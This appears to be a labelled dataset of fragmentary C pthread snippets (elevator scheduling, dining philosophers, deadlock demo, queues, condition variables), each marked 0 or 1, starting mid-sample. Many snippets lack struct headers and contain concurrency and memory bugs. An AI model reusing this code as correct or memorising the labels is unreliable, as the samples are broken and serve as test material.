0x043E, 0x0525, 0x0606, 0x0705, 0x0808}, {0x0100, 0x0200, 0x030C, 0x043F, 0x0524, 0x0607, 0x0704, 0x0802}, {0x0800, 0x0700, 0x060C, 0x053E, 0x0425, 0x0306, 0x0205, 0x0108}, {0x0800, 0x0700, 0x060C, 0x053F, 0x0424, 0x0307, 0x0204, 0x0102}, {0x0100, 0x0219, 0x037E, 0x0468, 0x0509, 0x060E, 0x0708, 0x0804}, {0x0100, 0x0218, 0x037F, 0x0469, 0x0508, 0x060F, 0x0709, 0x0810}, {0x0800, 0x0719, 0x067E, 0x0568, 0x0409, 0x030E, 0x0208, 0x0104}, {0x0800, 0x0718, 0x067F, 0x0569, 0x0408, 0x030F, 0x0209, 0x0110}, {0x0110, 0x0209, 0x030F, 0x0408, 0x0508, 0x06EC, 0x07FB, 0x0819}, {0x0104, 0x0208, 0x030E, 0x040B, 0x0508, 0x06E9, 0x07FF, 0x0818}, {0x0119, 0x02FB, 0x03EC, 0x0408, 0x0508, 0x060F, 0x0709, 0x0810}, {0x0118, 0x02FF, 0x03E9, 0x0408, 0x050B, 0x060E, 0x0708, 0x0804}, {0x0118, 0x02FE, 0x03EF, 0x0409, 0x0509, 0x060F, 0x070F, 0x0801}, {0x0118, 0x02FE, 0x03EF, 0x0409, 0x0509, 0x060F, 0x070F, 0x0801}, }; static const char *device = "/dev/spi_led"; fdd = open(device, O_RDWR); retioctl = ioctl(fdd, 64, (unsigned long)pattern); res = pthread_create(&sensor_thread, 0, sensor_read, 0); printf("\\nEnter something to exit: \\n"); scanf("%d", opt); breakflag = 1; res = pthread_join(sensor_thread, &thread_result); order[0] = order[1] = 0; res = write(fdd, (char *) order, 1, 0); printf("\\n\\n Terminating."); usleep(300000); printf(" ."); usleep(300000); printf(" ."); usleep(300000); close(fdd); printf("\\n\\nprogram terminated\\n\\n"); }
1
#include <pthread.h> pthread_mutex_t sword; pthread_barrier_t shield; int current_floor; int dest; int is_locked; enum {ELEVATOR_ARRIVED=1, ELEVATOR_OPEN=2, ELEVATOR_CLOSED=3} state; } elevator; elevator E[ELEVATORS]; int is_locked[ELEVATORS]; void scheduler_init() { for(int i = 0; i < ELEVATORS; ++i) { E[i].current_floor = 0; E[i].dest = -1; E[i].state=ELEVATOR_ARRIVED; E[i].is_locked = 0; pthread_barrier_init(&E[i].shield, 0, 2); pthread_mutex_init(&E[i].sword, 0); } for(int i = 0; i < ELEVATORS; ++i) { is_locked[i] = 0; } } void passenger_request(int passenger, int from_floor, int to_floor, void (*enter)(int, int), void(*exit)(int, int)) { int dif = 999999; int min = -1; while(min == -1) { for(int i = 0; i < ELEVATORS; ++i) { if((is_locked[i] == 0) && E[i].dest == -1 && abs(E[i].current_floor - from_floor) < dif) { min = i; dif = abs(E[i].current_floor - from_floor); } } } is_locked[min] = 1; pthread_mutex_lock(&E[min].sword); E[min].dest = from_floor; pthread_barrier_wait(&E[min].shield); enter(passenger, min); E[min].dest = to_floor; pthread_barrier_wait(&E[min].shield); pthread_barrier_wait(&E[min].shield); exit(passenger, min); E[min].dest = -1; pthread_barrier_wait(&E[min].shield); pthread_mutex_unlock(&E[min].sword); is_locked[min] = 0; } void elevator_ready(int elevator, int at_floor, void(*move_direction)(int, int), void(*door_open)(int), void(*door_close)(int)) { if(E[elevator].dest == at_floor) { door_open(elevator); E[elevator].state = ELEVATOR_OPEN; pthread_barrier_wait(&E[elevator].shield); pthread_barrier_wait(&E[elevator].shield); door_close(elevator); E[elevator].state = ELEVATOR_CLOSED; } else { if(E[elevator].dest == -1) { return; } else { if(at_floor < E[elevator].dest) { move_direction(elevator, 1); E[elevator].current_floor++; } else if(at_floor > E[elevator].dest) { move_direction(elevator, -1); E[elevator].current_floor--; } } if(E[elevator].dest == at_floor) { E[elevator].state = ELEVATOR_ARRIVED; } } }
0
#include <pthread.h> extern int makethread (void * (*) (void *), void * ); void * timeout_helper (void * arg); void timeout (const struct timespec * when, void (* func) (void *), void * arg); void retry (void * arg); struct to_info { void (* to_fn) (void *); void * to_arg; struct timespec to_wait; }; void clock_gettime (int id, struct timespec * tsp) { struct timeval tv; gettimeofday (&tv, 0); tsp->tv_sec = tv.tv_sec; tsp->tv_nsec = tv.tv_usec; } void * timeout_helper (void * arg) { struct to_info * tip; tip = (struct to_info *) arg; nanosleep((&tip->to_wait), (0)); (*tip->to_fn) (tip->to_arg); free (arg); return (void *) 0; } void timeout (const struct timespec * when, void (* func) (void *), void * arg) { struct timespec now; struct to_info * tip; int err; clock_gettime (0, &now); if ((when->tv_sec > now.tv_sec) || (when->tv_sec == now.tv_sec && when->tv_nsec == now.tv_nsec)) { if ((tip = (struct to_info *) malloc (sizeof (struct to_info))) != 0) { tip->to_fn = func; tip->to_arg = arg; tip->to_wait.tv_sec = when->tv_sec - now.tv_sec; if (when->tv_nsec >= now.tv_nsec) tip->to_wait.tv_nsec = when->tv_nsec - now.tv_nsec; else { tip->to_wait.tv_sec--; tip->to_wait.tv_nsec = 1000000000 - now.tv_nsec + when->tv_nsec; } if ((err = makethread (timeout_helper, (void *) tip)) == 0) return; else free (tip); } } (* func) (arg); } pthread_mutex_t mutex; pthread_mutexattr_t attr; void retry (void * arg) { pthread_mutex_lock (&mutex); pthread_mutex_unlock (&mutex); } int main (int argc, char * argv[]) { int err, condition, arg; struct timespec when; if ((err = pthread_mutexattr_init (&attr)) != 0) err_exit (err, "pthread_mutexattr_init failure. "); if ((err = pthread_mutexattr_settype (&attr, PTHREAD_MUTEX_RECURSIVE)) != 0) err_exit (err, "can't set recursive type. "); if ((err = pthread_mutex_init (&mutex, &attr)) != 0) err_exit (err, "pthread_mutex_init failure. "); pthread_mutex_lock (&mutex); if (condition) { clock_gettime (0, &when); when.tv_sec += 10; timeout (&when, retry, (void *) ((unsigned long) arg)); } pthread_mutex_unlock (&mutex); return 0; }
1
#include <pthread.h> int value = 0; void *count(void *arg); char name[64]; pthread_mutex_t *mlock; } mythread_args_t; int main() { pthread_t th1, th2, th3; void *rval; pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; mythread_args_t args1 = {"th1", &mutex}; mythread_args_t args2 = {"th2", &mutex}; mythread_args_t args3 = {"th3", &mutex}; srand((unsigned int) time(0)); puts("!-- Let's start to count 1 to 30 --!"); if (pthread_create(&th1, 0, count, (void *) &args1) != 0) { perror("Thread creation failed.\\n"); exit(1); } if (pthread_create(&th2, 0, count, (void *) &args2) != 0) { perror("Thread creation failed.\\n"); exit(1); } if (pthread_create(&th3, 0, count, (void *) &args3) != 0) { perror("Thread creation failed.\\n"); exit(1); } printf("the process joins with thread th1\\n"); if (pthread_join(th1, &rval) != 0) { perror("Failed to join with th1.\\n"); } printf("the process joins with thread th2\\n"); if (pthread_join(th2, &rval) != 0) { perror("Failed to join with th2.\\n"); } printf("the process joins with thread th3\\n"); if (pthread_join(th3, &rval) != 0) { perror("Failed to join with th3.\\n"); } puts("!-- Counting process is completed --!"); return 0; } void *count(void *arg) { mythread_args_t *targs = (mythread_args_t *) arg; int prev; int i; for(i = 0; i < 10; ++i) { pthread_mutex_lock(targs->mlock); prev = value; sleep(rand() % 2); value = prev + 1; printf("[%s] %d -> %d\\n", targs->name, prev, value); pthread_mutex_unlock(targs->mlock); } pthread_exit(0); }
0
#include <pthread.h> { pthread_t tid; int equal; int cntrl; } PARAM_t; { pthread_mutex_t mutex; pthread_cond_t cond; int flag; } JUDGE_t; static JUDGE_t judge; static void * func(void *arg) { int i = 0; PARAM_t *ptr = (PARAM_t *)arg; for (i = 0; i < (10); i++) { pthread_mutex_lock(&judge.mutex); while (judge.flag != ptr->equal) { pthread_cond_wait(&judge.cond, &judge.mutex); } printf("%c", ptr->equal); judge.flag = ptr->cntrl; pthread_mutex_unlock(&judge.mutex); pthread_cond_broadcast(&judge.cond); } pthread_exit(0); } static void init(void) { pthread_mutex_init(&judge.mutex, 0); pthread_cond_init(&judge.cond, 0); judge.flag = 'A'; setvbuf(stdout, 0, _IONBF, 0); } static void uninit(void) { ; } int main(int argc, char *argv[]) { size_t i = 0; PARAM_t param[] = { {0, 'A', 'B'}, {0, 'B', 'C'}, {0, 'C', 'A'}, }; init(); for (i = 0; i < (sizeof(param)/sizeof(param[0])); i++) { pthread_create(&param[i].tid, 0, func, &param[i]); } for(;;); uninit(); return 0; }
1
#include <pthread.h> static void* renderer_run(void* arg) { struct renderer* r = (struct renderer*)arg; int ret; DEBUG_LOG(("%s renderer thread started\\n", r->name)); pthread_cond_signal(&r->cond); pthread_mutex_lock(&r->mutex); while (1) { ret = pthread_cond_wait(&r->cond, &r->mutex); if (ret != 0) { LOG(("%s thread, ret: (%d) %s, errno: (%d) %s\\n", r->name, ret, strerror(ret), errno, strerror(errno))); } if (r->exit) { pthread_mutex_unlock(&r->mutex); DEBUG_LOG(("%s renderer thread exited\\n", r->name)); return 0; } TRACE_LOG(("%s write begin\\n", r->name)); r->writefn(r->fd, r->buf2, r->buflen); TRACE_LOG(("%s write end\\n", r->name)); } } int renderer_init(struct renderer* r, const char* name, int fd, char* buf1, char* buf2, size_t buflen, int (*writefn)(int, const char*, size_t), char** start) { memset(r, 0, sizeof(*r)); r->name = name; r->fd = fd; r->buf1 = buf1; r->buf2 = buf2; r->buflen = buflen; r->writefn = writefn; pthread_mutex_init(&r->mutex, 0); pthread_cond_init(&r->cond, 0); pthread_mutex_lock(&r->mutex); pthread_create(&r->thread, 0, renderer_run, r); pthread_cond_wait(&r->cond, &r->mutex); pthread_mutex_unlock(&r->mutex); *start = buf1; return 0; } int renderer_swap(struct renderer* r, char** buf) { int ret = pthread_mutex_trylock(&r->mutex); if (!ret) { *buf = r->buf2; r->buf2 = r->buf1; r->buf1 = *buf; pthread_mutex_unlock(&r->mutex); pthread_cond_signal(&r->cond); } return ret; } void renderer_destroy(struct renderer* r) { if (r->thread == 0) return; pthread_mutex_lock(&r->mutex); r->exit = 1; pthread_mutex_unlock(&r->mutex); pthread_cond_signal(&r->cond); pthread_join(r->thread, 0); pthread_mutex_destroy(&r->mutex); pthread_cond_destroy(&r->cond); }
0
#include <pthread.h> { int head; int tail; int validItems; int data[5]; pthread_mutex_t lock; }cmdque; cmdque cmd_buff; void cmd_init(cmdque *cmd_buff) { int i; cmd_buff->head=0; cmd_buff->tail=0; cmd_buff->validItems=0; for(i=0;i<5;i++) cmd_buff->data[i]=0; if(pthread_mutex_init(&cmd_buff->lock,0)!=0) { printf("Mutex failed\\n"); exit(1); } printf("Initialization completed..\\n"); } int isEMPTY(cmdque *cmd_buff) { if(cmd_buff->validItems==0) { printf("CmdQue is empty\\n"); return 1; } else return 0; } int isFULL(cmdque *cmd_buff) { if(cmd_buff->validItems>=5) { printf("CmdQue is full\\n"); return 1; } else return 0; } void cmd_push(cmdque *cmd_buff,int data ) { if(isFULL(cmd_buff)) { printf("You cannot add items..\\n"); } else { cmd_buff->validItems++; cmd_buff->data[cmd_buff->tail] = data; cmd_buff->tail=(cmd_buff->tail + 1)%5; } } void cmd_pop(cmdque *cmd_buff,int *data) { if(isEMPTY(cmd_buff)) { printf("No elements to remove\\n"); *data = -1; } else { *data=cmd_buff->data[cmd_buff->head]; cmd_buff->head=(cmd_buff->head + 1)%5; cmd_buff->validItems--; } } void display_cmdque(cmdque *cmd_buff) { int front,rear,items,i=0; front = cmd_buff->head; rear = cmd_buff->tail; items = cmd_buff->validItems; while(items>0) { printf("head =%d,tail =%d,data=%d front=%d items=%d\\n",cmd_buff->head,cmd_buff->tail,cmd_buff->data[front],front,cmd_buff->validItems); front++; front=front%5; items--; } } void *tid_push(void *arg) { cmdque *tmp; tmp=(cmdque *)arg; printf("Inside the tid_push\\n"); int i=0; while(1) { pthread_mutex_lock(&tmp->lock); cmd_push((cmdque *)arg,i); pthread_mutex_unlock(&tmp->lock); printf("pushed value = %d \\n",i); i++; sleep(10); } } void *tid_pop(void *arg) { int i=3; int rem_value=0; cmdque *tmp; tmp=(cmdque *)arg; printf("Inside the tid_pop\\n"); while(1){ pthread_mutex_lock(&tmp->lock); cmd_pop((cmdque *)arg,&rem_value); pthread_mutex_unlock(&tmp->lock); sleep(1); if(rem_value==-1) { } else printf("poped value = %d \\n",rem_value); } } int main() { int rem_value; pthread_t ntid[3]; int tid1,tid2; cmd_init(&cmd_buff); printf("cmd_buff->lock =%p\\n",&cmd_buff.lock); tid1=pthread_create(&(ntid[0]),0,tid_push,&cmd_buff); if(tid1!=0) { printf("Cant create thread\\n"); return 0; } tid2=pthread_create(&(ntid[1]),0,tid_pop,&cmd_buff); if(tid2!=0) { printf("Cant create thread\\n"); return 0; } pthread_join(ntid[1],0); pthread_join(ntid[0],0); display_cmdque(&cmd_buff); return 0; }
1
#include <pthread.h> struct node { char user[5]; char process; int arrival; int duration; int priority; struct node *next; }*head; struct display { char user[5]; int timeLastCalculated; struct display *next; }*frontDisplay, *tempDisplay, *rearDisplay; pthread_mutex_t m1 = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t m2 = PTHREAD_MUTEX_INITIALIZER; void initialise(); void insert(char[5], char, int, int, int); void add(char[5], char, int, int, int); int count(); void addafter(char[5], char, int, int, int, int); void* jobDisplay(); void addToSummary(char[], int); void summaryDisplay(); int main( int argc, char *argv[] ) { int n; if( argc == 2 ) { n = atoi(argv[1]); } else if( argc > 2 ) { printf("Too many arguments supplied.\\n"); return 0; } else { printf("One argument expected.\\n"); return 0; } char user[5], process; int arrivalInput, durationInput, priorityInput; initialise(); printf("\\n\\tUser\\tProcess\\tArrival\\tRuntime\\tPriority\\n"); int i = 1; while ( i < 5 ) { printf("\\t"); if ( scanf("%s\\t%c\\t%d\\t%d\\t%d", user, &process, &arrivalInput, &durationInput, &priorityInput) < 5 ) { printf("\\nThe arguments supplied are incorrect. Try again.\\n"); return 0; } insert(user, process, arrivalInput, durationInput, priorityInput); i++; } printf("\\nThis would result in:\\n\\tTime\\tJob\\n"); pthread_t threadID[n]; i = 0; for ( i = 0; i < n; i++ ) { pthread_create(&(threadID[i]),0,&jobDisplay,0); } pthread_join(threadID[0],0); pthread_mutex_destroy(&m1); pthread_mutex_destroy(&m2); summaryDisplay(); return 0; } void initialise() { head=0; rearDisplay=0; tempDisplay=0; frontDisplay=0; } void insert(char user[5], char process, int arrival, int duration, int priority) { int c = 0; struct node *temp; temp = head; if ( temp == 0 ) { add(user, process, arrival, duration, priority); } else { while ( temp != 0 ) { if ( ( temp->arrival + temp->duration ) < ( arrival + duration ) ) { c++; } temp = temp->next; } if ( c == 0 ) { add(user, process, arrival, duration, priority); } else if ( c < count() ) { addafter(user, process, arrival, duration, priority, ++c); } else { struct node *right; temp = (struct node *)malloc(sizeof(struct node)); strcpy(temp->user, user); temp->process = process; temp->arrival = arrival; temp->duration = duration; temp->priority = priority; right = (struct node *)head; while ( right->next != 0 ) { right = right->next; } right->next = temp; right = temp; right->next = 0; } } } void add(char user[5], char process, int arrival, int duration, int priority) { struct node *temp; temp = (struct node *)malloc(sizeof(struct node)); strcpy(temp->user, user); temp->process = process; temp->arrival = arrival; temp->duration = duration; temp->priority = priority; if ( head == 0 ) { head = temp; head->next = 0; } else { temp->next = head; head = temp; } } int count() { struct node *n; int c = 0; n = head; while ( n != 0 ) { n=n->next; c++; } return c; } void addafter(char user[5], char process, int arrival, int duration, int priority, int loc) { int i; struct node *temp,*left,*right; right = head; for(i = 1; i < loc; i++) { left = right; right = right->next; } temp = (struct node *)malloc(sizeof(struct node)); strcpy(temp->user, user); temp->process = process; temp->arrival = arrival; temp->duration = duration; temp->priority = priority; left->next = temp; left = temp; left->next = right; return; } void* jobDisplay() { char tempUser[5]; char myJob = ' '; int myTime = 0; int myCounter = 0; int tempTime = 0; pthread_mutex_lock(&m1); struct node* placeholder = head; pthread_mutex_unlock(&m1); if ( placeholder == 0 ) { return; } while ( placeholder != 0 ) { if ( myTime < placeholder->arrival ) { sleep( placeholder->arrival - myTime ); myTime = placeholder->arrival; } pthread_mutex_lock(&m1); if ( placeholder->next != 0 ) { if ( placeholder->next->duration < placeholder->duration ) { strcpy(tempUser, placeholder->user); myJob = placeholder->process; tempTime = placeholder->duration - 1; printf("\\t%d\\t%c\\n", myTime, myJob); myTime++; sleep(1); placeholder = placeholder->next; } } pthread_mutex_unlock(&m1); myCounter = 1; while ( myCounter <= placeholder->duration ) { printf("\\t%d\\t%c\\n", myTime, placeholder->process); myTime++; myCounter++; sleep(1); } addToSummary(placeholder->user, myTime); if ( myJob != ' ' ) { myCounter = 1; while ( myCounter <= tempTime ) { printf("\\t%d\\t%c\\n", myTime, myJob); myTime++; myCounter++; sleep(1); } addToSummary(tempUser, myTime); myJob = ' '; } pthread_mutex_lock(&m1); placeholder = placeholder->next; pthread_mutex_unlock(&m1); } printf("\\t%d\\tIDLE\\n", myTime); return 0; } void addToSummary(char name[], int timeLeft) { pthread_mutex_lock(&m2); if ( rearDisplay == 0 ) { rearDisplay = (struct display *)malloc(1*sizeof(struct display)); rearDisplay->next = 0; strcpy(rearDisplay->user, name); rearDisplay->timeLastCalculated = timeLeft; frontDisplay = rearDisplay; } else { tempDisplay = frontDisplay; while ( tempDisplay != 0 ) { if ( strcmp(tempDisplay->user, name) == 0 ) { tempDisplay->timeLastCalculated = timeLeft; break; } tempDisplay = tempDisplay->next; } if ( tempDisplay == 0 ) { tempDisplay = (struct display *)malloc(1*sizeof(struct display)); rearDisplay->next = tempDisplay; strcpy(tempDisplay->user, name); tempDisplay->timeLastCalculated = timeLeft; tempDisplay->next = 0; rearDisplay = tempDisplay; } } pthread_mutex_unlock(&m2); } void summaryDisplay() { printf("\\n\\tSummary\\n"); while ( frontDisplay != 0 ) { printf("\\t%s\\t%d\\n", frontDisplay->user, frontDisplay->timeLastCalculated); tempDisplay = frontDisplay->next; free(frontDisplay); frontDisplay = tempDisplay; } printf("\\n"); }
0
#include <pthread.h> pthread_mutex_t primeiro, segundo; void *tarefa1(){ printf("TAREFA1: Tentando pegar o primeiro mutex...\\n"); pthread_mutex_lock(&primeiro); printf("TAREFA1: CONSEGUI o primeiro mutex!\\n"); printf("TAREFA1: Realizando alguma atividade do primeiro recurso...\\n"); printf("TAREFA1: Tentando pegar o segundo mutex...\\n"); pthread_mutex_lock(&segundo); printf("TAREFA1: CONSEGUI o segundo mutex!\\n"); printf("TAREFA1: Realizando alguma atividade do segundo recurso...\\n"); printf("TAREFA1: Liberando o segundo mutex...\\n"); pthread_mutex_unlock(&segundo); printf("TAREFA1: Liberando o primeiro mutex...\\n"); pthread_mutex_unlock(&primeiro); printf("TAREFA1: Finalizando a execucao...\\n"); pthread_exit(0); } void *tarefa2(){ printf("\\tTAREFA2: Tentando pegar o segundo mutex...\\n"); pthread_mutex_lock(&segundo); printf("\\tTAREFA2: CONSEGUI o segundo mutex!\\n"); printf("\\tTAREFA2: Realizando alguma atividade do segundo recurso...\\n"); printf("\\tTAREFA2: Tentando pegar o primeiro mutex...\\n"); pthread_mutex_lock(&primeiro); printf("\\tTAREFA2: CONSEGUI o primeiro mutex!\\n"); printf("\\tTAREFA2: Realizando alguma atividade...\\n"); printf("\\tTAREFA2: Realizando alguma atividade do primeiro recurso...\\n"); printf("\\tTAREFA2: Liberando o primeiro mutex...\\n"); pthread_mutex_unlock(&primeiro); printf("\\tTAREFA2: Liberando o segundo mutex...\\n"); pthread_mutex_unlock(&segundo); printf("\\tTAREFA2: Finalizando a execucao...\\n"); pthread_exit(0); } int main(int argc, char *argv[]){ pthread_t tid[2]; pthread_mutex_init(&primeiro, 0); pthread_mutex_init(&segundo, 0); pthread_create(&tid[0], 0, tarefa1, 0); pthread_create(&tid[1], 0, tarefa2, 0); pthread_join(tid[0], 0); pthread_join(tid[1], 0); pthread_mutex_destroy(&primeiro); pthread_mutex_destroy(&segundo); return 0; }
1
#include <pthread.h> char* ph_name[] = {"Newton","Einstein","Maxwel","Planck","Bohr"}; pthread_mutex_t forks[5]; void swap_if_larger( int* fork1, int* fork2) { int temp; if (*fork1 > *fork2) { temp = *fork1; *fork1 = *fork2; *fork2 = temp; } return 0; } void* eat( void* philosopher_num_p ) { int philosopher_num = (int)philosopher_num_p; int fork1 = philosopher_num; int fork2 = (philosopher_num + 1) % 5; swap_if_larger( &fork1, &fork2); while(1) { pthread_mutex_lock( &forks[fork1] ); printf("philosopher %s locked fork %d\\n",ph_name[philosopher_num], fork1); pthread_mutex_lock( &forks[fork2] ); printf("philosopher %s locked fork %d\\n",ph_name[philosopher_num] , fork2); printf("philosopher %s START eating!\\n", ph_name[philosopher_num]); usleep(1000); printf("philosopher %s DONE eating!\\n", ph_name[philosopher_num]); pthread_mutex_unlock( &forks[fork2] ); printf("philosopher %s unlocked fork %d\\n", ph_name[philosopher_num], fork2); pthread_mutex_unlock( &forks[fork1] ); printf("philosopher %s unlocked fork %d\\n", ph_name[philosopher_num], fork1); } usleep(1000); return 0; } int main( int argc, char** argv) { for (int i = 0; i < 5; i++) { pthread_mutex_init( &forks[i], 0); } pthread_t threads[5]; for (int i = 0; i < 5; i++) { pthread_create( &threads[i], 0, eat, i); printf("Philosopher nr %d born!\\n", i); } for (int i = 0; i < 5; i++) { pthread_join( threads[i], 0); printf("Philosopher nr %d finished!\\n", i); } printf("All philosophers eaten once!\\n"); return 0; }
0
#include <pthread.h> extern int vasprintf(char **, const char *, va_list); int queue_init(struct queue *queue, const char *fmt, ...) { va_list ap; memset(queue, '\\0', sizeof(*queue)); if (pthread_cond_init(&queue->cond, 0) != 0) return (-1); if (pthread_mutex_init(&queue->mutex, 0) != 0) return (-1); __builtin_va_start((ap)); vasprintf(&queue->name, fmt, ap); ; if (queue->name == 0) return (-1); return (0); } void queue_put_item(struct wi *wi, struct queue *queue) { struct wi *tmpwi, *nextwi, *prevwi; double cutoff_time; pthread_mutex_lock(&queue->mutex); if (wi->wi_type == WI_INPACKET && queue->max_ttl > 0 && queue->length > 0 && queue->length % 100 == 0) { cutoff_time = INP(wi).dtime - queue->max_ttl; prevwi = 0; for (tmpwi = queue->head; tmpwi != 0; tmpwi = nextwi) { nextwi = tmpwi->next; if (INP(tmpwi).dtime < cutoff_time) { if (queue->head == tmpwi) queue->head = nextwi; if (queue->tail == tmpwi) queue->tail = prevwi; queue->length -= 1; wi_free(wi); } } } wi->next = 0; if (queue->head == 0) { queue->head = wi; queue->tail = wi; } else { queue->tail->next = wi; queue->tail = wi; } queue->length += 1; if (queue->length > 99 && queue->length % 100 == 0) fprintf(stderr, "queue(%s): length %d\\n", queue->name, queue->length); pthread_cond_signal(&queue->cond); pthread_mutex_unlock(&queue->mutex); } struct wi * queue_get_item(struct queue *queue, int return_on_wake) { struct wi *wi; pthread_mutex_lock(&queue->mutex); while (queue->head == 0) { pthread_cond_wait(&queue->cond, &queue->mutex); if (queue->head == 0 && return_on_wake != 0) { pthread_mutex_unlock(&queue->mutex); return 0; } } wi = queue->head; queue->head = wi->next; if (queue->head == 0) queue->tail = 0; queue->length -= 1; pthread_mutex_unlock(&queue->mutex); return wi; }
1
#include <pthread.h> void *process_func(); sem_t sem; pthread_barrier_t barrier; pthread_cond_t cond; pthread_mutex_t lock; int active = 0; int full = 0; int main() { pthread_t process[500]; long i; sem_init(&sem, 0, 3); pthread_barrier_init(&barrier, 0, 3); pthread_cond_init(&cond, 0); pthread_mutex_init(&lock, 0); srand(time(0)); for ( i = 0; i < 500; i++ ) { pthread_mutex_lock(&lock); while (full || active >= 3) { pthread_cond_wait(&cond, &lock); } pthread_mutex_unlock(&lock); if ( pthread_create(&process[i], 0, process_func, (void *)i) ) { fprintf(stderr, "Error on process thread creation\\n"); return 1; } } for ( i = 0; i < 500; i++ ) { if ( pthread_join(process[i], 0) ) { fprintf(stderr, "Error on joining process creation\\n"); return 2; } } sem_destroy(&sem); return 0; } void *process_func(void *id) { long tid = (long) id; srand(time(0) + tid); printf("thread %lu: running\\n", tid); sem_wait(&sem); printf("\\tthread %lu: obtained semaphore\\n", tid); pthread_mutex_lock(&lock); active++; if (active >= 3) { full = 1; } pthread_cond_signal(&cond); pthread_mutex_unlock(&lock); printf("\\t\\tthread %lu: using the resource\\n", tid); int sleep_time = rand() % 2 + 2; sleep(sleep_time); printf("\\t\\tthread %lu: released resource\\n", tid); pthread_barrier_wait(&barrier); pthread_mutex_lock(&lock); active--; if (active == 0) { full = 0; } pthread_cond_broadcast(&cond); pthread_mutex_unlock(&lock); printf("\\tthread %lu: released semaphore\\n", tid); sem_post(&sem); printf("thread %lu: exiting\\n", tid); pthread_exit(0); }
0
#include <pthread.h> void *thr_signal(void *arg); void *thr_wait(void *arg); pthread_t signal_t[10]; pthread_t wait_t[5]; static int count = 0; pthread_cond_t qready; pthread_mutex_t mutex; static void mutex_clean(void *mutex); void thread_prac3_cond() { count = 1; pthread_cond_init(&qready, 0); pthread_mutex_init(&mutex, 0); for (int i = 0; i < sizeof(signal_t) / sizeof(pthread_t); i++) { pthread_create(&signal_t[i], 0, thr_signal, 0); } for (int i = 0; i < sizeof(wait_t) / sizeof(pthread_t); i++) { pthread_create(&wait_t[i], 0, thr_wait, 0); } pthread_mutex_destroy(&mutex); pthread_cond_destroy(&qready); sleep(5); for (int i = 0; i < sizeof(signal_t) / sizeof(pthread_t); i++) { pthread_cancel(signal_t[i]); } for (int i = 0; i < sizeof(wait_t) / sizeof(pthread_t); i++) { pthread_cancel(wait_t[i]); } sleep(1); return; } void *thr_signal(void *arg) { pthread_cleanup_push(mutex_clean, &mutex) ; while (1) { pthread_mutex_lock(&mutex); if (count <= 5) { count++; printf("线程%lu: count++,变为:%d\\n", pthread_self(), count); } if (count > 0) { pthread_cond_signal(&qready); } pthread_mutex_unlock(&mutex); sleep(1); } pthread_cleanup_pop(1); } void *thr_wait(void *arg) { pthread_cleanup_push(mutex_clean, &mutex) ; while (1) { pthread_mutex_lock(&mutex); while (count <= 0) { pthread_cond_wait(&qready, &mutex); } count--; printf("线程%lu: count--,变为:%d\\n", pthread_self(), count); pthread_mutex_unlock(&mutex); sleep(1); } pthread_cleanup_pop(1); return (void *) 0; } static void mutex_clean(void *mutex) { printf("\\t清除未被取消的锁(重要)\\n"); pthread_mutex_unlock(&mutex); }
1
#include <pthread.h> pthread_mutex_t * l; pthread_mutex_t gl1; pthread_mutex_t gl2; struct irrel { int i; }; struct rel { int i; int j; pthread_mutex_t *ptr; pthread_mutex_t lock; }; struct rel j; bar () { l = malloc(sizeof(pthread_mutex_t)); } pthread_mutex_t * doMalloc () { return malloc(sizeof(pthread_mutex_t)); } struct rel * r; foo() { int i = 0; r = malloc(sizeof(struct rel)); bar(); r->ptr = l; } hol(pthread_mutex_t ** l1, pthread_mutex_t ** l2) { int i=10; if (i>10) *l1 = doMalloc(); else *l2 = doMalloc(); *l2 = &gl2; } main () { pthread_mutex_t * mainl1; pthread_mutex_t * mainl2 ; foo(); hol(&mainl1,&mainl1); pthread_mutex_lock(mainl1); pthread_mutex_unlock(mainl1); pthread_mutex_lock(r->ptr); pthread_mutex_unlock(r->ptr); pthread_mutex_lock(& (r->lock)); pthread_mutex_unlock(& (r->lock)); }
0
#include <pthread.h> pthread_mutex_t mutex; pthread_cond_t cond; int current = 0; int tCount = 0; int passCounter = 0; void my_sleep(int id) { struct timespec ts; unsigned int seed = getpid() * (id + 1); ts.tv_nsec = (int)(rand_r(&seed) / ((double)32767 + 1) * 500000000); ts.tv_sec = 0; nanosleep(&ts,0); } int getticket () { int ticketNum = 0; pthread_mutex_lock(&mutex); ticketNum = tCount++; pthread_mutex_unlock(&mutex); return ticketNum; } void await(int aenter) { pthread_mutex_lock(&mutex); while (current != aenter) pthread_cond_wait(&cond, &mutex); pthread_mutex_unlock(&mutex); return; } void advance () { pthread_mutex_lock(&mutex); current++; pthread_cond_broadcast(&cond); pthread_mutex_unlock(&mutex); return; } void *thread_foo(void *id) { int myTicket; while((myTicket = getticket()) < passCounter) { my_sleep((int)id); await(myTicket); printf("%d\\t(%d)\\n", myTicket, (int)id); advance(); my_sleep((int)id); } return (void *) 0; } int main(int argc, char* argv[]) { pthread_t *threadArr; pthread_attr_t attr; int threads = 0; int i = 0; int retval; threads = atoi(argv[1]); passCounter = atoi(argv[2]); pthread_mutex_init(&mutex, 0); pthread_attr_init(&attr); pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE); pthread_cond_init(&cond, 0); threadArr = (pthread_t *) malloc(sizeof(pthread_t) * threads); for (i = 0; i<threads; i++) { if ((retval = pthread_create(&threadArr[i], &attr, thread_foo, (void *) i)) != 0 ) { printf("Cannot create the set number of threads. Exiting.\\n"); return 1; } } for (i = 0; i<threads; i++) retval = pthread_join(threadArr[i], 0); free(threadArr); pthread_mutex_destroy(&mutex); pthread_attr_destroy(&attr); pthread_cond_destroy(&cond); return 0; }
1
#include <pthread.h> pthread_mutex_t m_Mutex = PTHREAD_MUTEX_INITIALIZER; pthread_mutex_t m_Mutex1 = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t m_CondVar = PTHREAD_COND_INITIALIZER ; int cond = 0; void signaling() { printf("Signal !!!\\n"); pthread_mutex_lock(&m_Mutex); cond = 1; printf("Signalin !!!\\n"); pthread_cond_signal(&m_CondVar); printf("Signaled !!!\\n"); pthread_mutex_unlock(&m_Mutex); } void locking(int cond1, int value) { printf("Locking !!\\n"); pthread_mutex_lock(&m_Mutex); printf("Locked !!\\n"); if(cond1 != value) pthread_cond_wait(&m_CondVar, &m_Mutex); printf("Unlocking !!\\n"); pthread_mutex_unlock(&m_Mutex); } void *thread1(void *arg) { printf("START : thread 1 !!!!\\n"); locking(cond,1); printf("END : thread 1 !!!!\\n"); return 0; } int main() { pthread_t tid; printf("Parent\\n"); int status = pthread_create(&tid,0,thread1,0); signaling(); pthread_join(tid,0); printf("Parent is free to die\\n"); return 0; }
0
